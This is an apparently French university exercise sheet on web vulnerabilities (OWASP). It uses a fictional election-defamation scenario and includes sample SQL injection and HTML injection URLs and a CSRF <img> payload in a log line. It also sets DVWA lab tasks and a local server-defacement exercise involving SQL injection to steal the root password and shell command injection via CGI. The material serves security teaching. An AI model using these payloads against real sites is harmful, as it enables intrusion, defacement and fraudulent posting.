Pour quelles raisons, le site, est-il vulnérable?

Question 3
Donner un scénario d'attaque possible via www.unsitepirate.dz en utilisant de
l'ingénierie sociale.

C. Diffamation !

Compagne électorale
La date des élections locales arrive à grand pas ! Hassina travaille au QG de
compagne du candidat Epsilon et anime un blog de compagne. Rachid travaille au
QG de la candidate Omega et il est responsable de la compagne numérique. Un
jour, ce post apparut sur http://www.epsilon.dz
« « Omega a abusé de son pouvoir quand elle était directrice d'une banque afin
d'octroyer un crédit de 10M DZD à son fils sans garanties de remboursement, le
crédit n'a jamais été remboursé et le projet n'a jamais été réalisé ! ». »
Le post fit alors le tour de la presse nationale et les chances de Omega de
remporter les élections furent minimes. Afin de contre-attaquer et renverser le
cours de la compagne, Omega dépose plainte contre Epsilon pour diffamation, ce
qui a permis à Omega de gagner la sympathie des électeurs et inverser la tendance
des pronostiques.
Devant ces fais, le tribunal se saisi de l'affaire : le juge d'instruction convoque alors
les parties prenantes et demande des explications.
- Hassina jure qu'elle n'a jamais posté ce post sur le blog de
compagne http://www.epsilon.dz !!!
- Rachid explique que le site epsilon.dz requiert une authentification, il est donc
impossible à quelqu'un non authentifié de poster sur le blog !
Devant ce casse-tête, le juge fait appel à votre expertise d'ingénieur en sécurité
informatique pour élucider les ficelles de cette affaire politico-médiatique qui prend
de l'ampleur. Vous avez analysé le fonctionnement du blog de compagne de Epsilon.

31
 Séries d'exercices IV : Vulnérabilités et Sécurité du Web (OWASP)
Vous avez fait le test suivant :

1 http://www.epsilon.dz/post.php?txt='; insert into

posts(id,txt)values(11,'Hello')

Le blog répond en affichant ce message :

1 « Aucune Session Active »

Question 1
A quel type d'attaque pensiez-vous en faisant ce test ?

Question 2
Est ce que l'attaque a fonctionné ? Expliquez ?

Investigation cybercriminelle
Afin de pousser plus loin l'investigation, vous vous entretenez avec Hassina qui nie
formellement avoir posté ce post !
Vous lui demandez alors d'ouvrir une session et vous faites le test suivant :

1 http://www.epsilon.dz/post.php?txt=<b>Hello</b>

le blog publie le post suivant :

1 <b>Hello</b>

Question 3
A quel type d'attaque pensiez-vous en faisant ce test ?

Question 4
Question 4. Est ce que l'attaque a fonctionné ? Expliquez ?

L'intrus et l'attaque
En discutant avec Hassina, elle vous parle de Rachid ! Il s'agit d'un ancien camarade
de classe avec qui elle garde une amitié malgré leur divergence politique. Quelle
ouverture d'esprit ! Elle va plus loin en expliquant qu'il lui arrive même de
« chater » avec lui pendant qu'elle anime le blog de compagne !!!
Vous demandez alors d'accéder au logs du serveur web qui héberge le blog. Une
ligne du log attire votre attention :

1 10:34:20 Feb 14, 2017 404 Not Found <img

src=http://www.epsilon.dz/post.php?txt=Omega a abusé de son pouvoir
quand elle était directrice d'une banque afin d'octroyer un crédit de
10M DZD à son fils sans garanties de remboursement, le crédit n'a
jamais été remboursé et le projet n'a jamais été réalisé !

Vous demandez immédiatement à Hassina si Rachid lui est arrivé de lui envoyer un
message contenant une image, l'invitant à cliquer dessus ? Hassina affirme qu'en
effet Rachid lui a envoyé une fois, au moment où elle animait le blog, un message
l'invitant à regarder un beau bouquet de fleurs un 14 février !!! Mais en cliquant
dessus y avait une croix rouge (aucune image).
EUREKA !!! Vous avez trouvé l'attaque subit par le blog de Epsilon.

Question 5
Expliquez l'attaque en citant explicitement les différentes étapes.

Question 6
Comment s'appelle cette attaque ?

32
 Séries d'exercices IV : Vulnérabilités et Sécurité du Web (OWASP)
Question 7
Proposez à Epsilon une solution pour protéger leur blog contre cette attaque ?

Rebondissement nauséabond de l'affaire ! ! !

Vous avez déposé votre rapport d'expertise au juge d'instruction, accablant Omega,
qui a finalement monté l'attaque de toute pièce afin de discréditer Epsilon qui était
favori des élections.
A votre surprise, le juge d'instruction, vous explique que votre rapport est
impertinent et que vous manquiez d'expérience pour mener ce type d'enquêtes !!!
Quelques jours plus tard, vous lisez dans la presse qu'une entreprise IT qui s'appelle
Opportunisme SARL, copropriété d'un cousin du juge d'instruction et Hassina, a
remporté un marché de 1M DZD pour sécuriser le blog de compagne de Epsilon.
Opportunisme SARL a fait basculer le serveur web qui héberge le blog en mode SSL
pour fonctionner en HTTPS au lieu de HTTP pour rendre leur blog sécurisé contre les
attaques.

Question 8
Quels sont les services de sécurité qui seront assurés par HTTPS ?

Question 9
Est ce que la solution proposée par Opportunisme SARL tient la route ? Expliquez.

D. Simulation d'attaques et contre-mesures (DVWA)

Damned Vulnerable Web Application (DVWA)

DVWA qui s'exécute à 127.0.0.1 est une application conçue vulnérable pour faire
dessus des exercices pédagogiques.
Dans le menu, on y retrouve différents types d'attaques : XSS, Injection SQL, File
upload, Command Injection etc.
Pour chaque vulnérabilité, vous avez des liens pour vous documentez sur la faille et
ses contre-mesures.
Vous avez aussi accès (en bas à droite) au code source vulnérable et ses versions
améliorées (bouton compare).
Le "help" (en bas à droite) vous permet également de comprendre la faille et vous
donne des indices pour mener l'attaque.

Question 1
Lancez DVWA (http://127.0.0.1/dvwa/) et réalisez des exploits (attaques).
Pour mener l'attaque il est nécessaire d'analyser le code source des scripts
vulnérable afin de comprendre la source de la faille.
Expliquez pour chaque attaque réussie la source de vulnérabilité de l'application

Question 2
Une fois l'exploit réalisé, comparer le code vulnérable aux versions améliorées pour
comprendre les contre mesures.
Expliquez ce qui a été amélioré et comment ça permet de se prémunir des
attaques.

Question 3
Vous pouvez basculer le niveau de sécurité de DVWA à "medium" et "high" et
essayer de mener l'attaque de nouveau et voir si ça marche toujours.

33
 Séries d'exercices IV : Vulnérabilités et Sécurité du Web (OWASP)

E. Web Scan et attaque d'un serveur web Apache

Dans cet exercice vous allez vous mettre dans l'esprit d'un hacker pour attaquer un
serveur web vulnerable : http://127.0.0.1
Votre mission est de remplacer la page principale welcome.html par un message
provocateur démontrant votre force et votre ruse :
YOUR_ARE_HACKED_YOUR_ROOT_PASSWD_IS_XXXXXX

Question 1
Quelles sont les vulnérabilités remarquables du site ? Citez-les avec le niveau de
sévérité.
Indice :
Pensez à visualiser le code HTML de la page index.html

Question 2
Moyennant une attaque par Injection SQL, essayez de récupérer le mot de passe de
l'utilisateur root. Vous afficherez par la suite ce mot de passe sur le site hacké.
Indice :
Pensez à visualiser le code display.php

Question 3
Continuez votre mission à partit de la machine hôte.
Indice :
- Visualisez et analysez le code source du script CGI utilisé par le site.
- Exécutez une commande shell sur le serveur distant, par exemple
 la commande ls -al qui liste le contenu d'un répertoire avec des infos
détaillées sur les fichiers (droits d'accès, taille, propriétaire, etc.)

34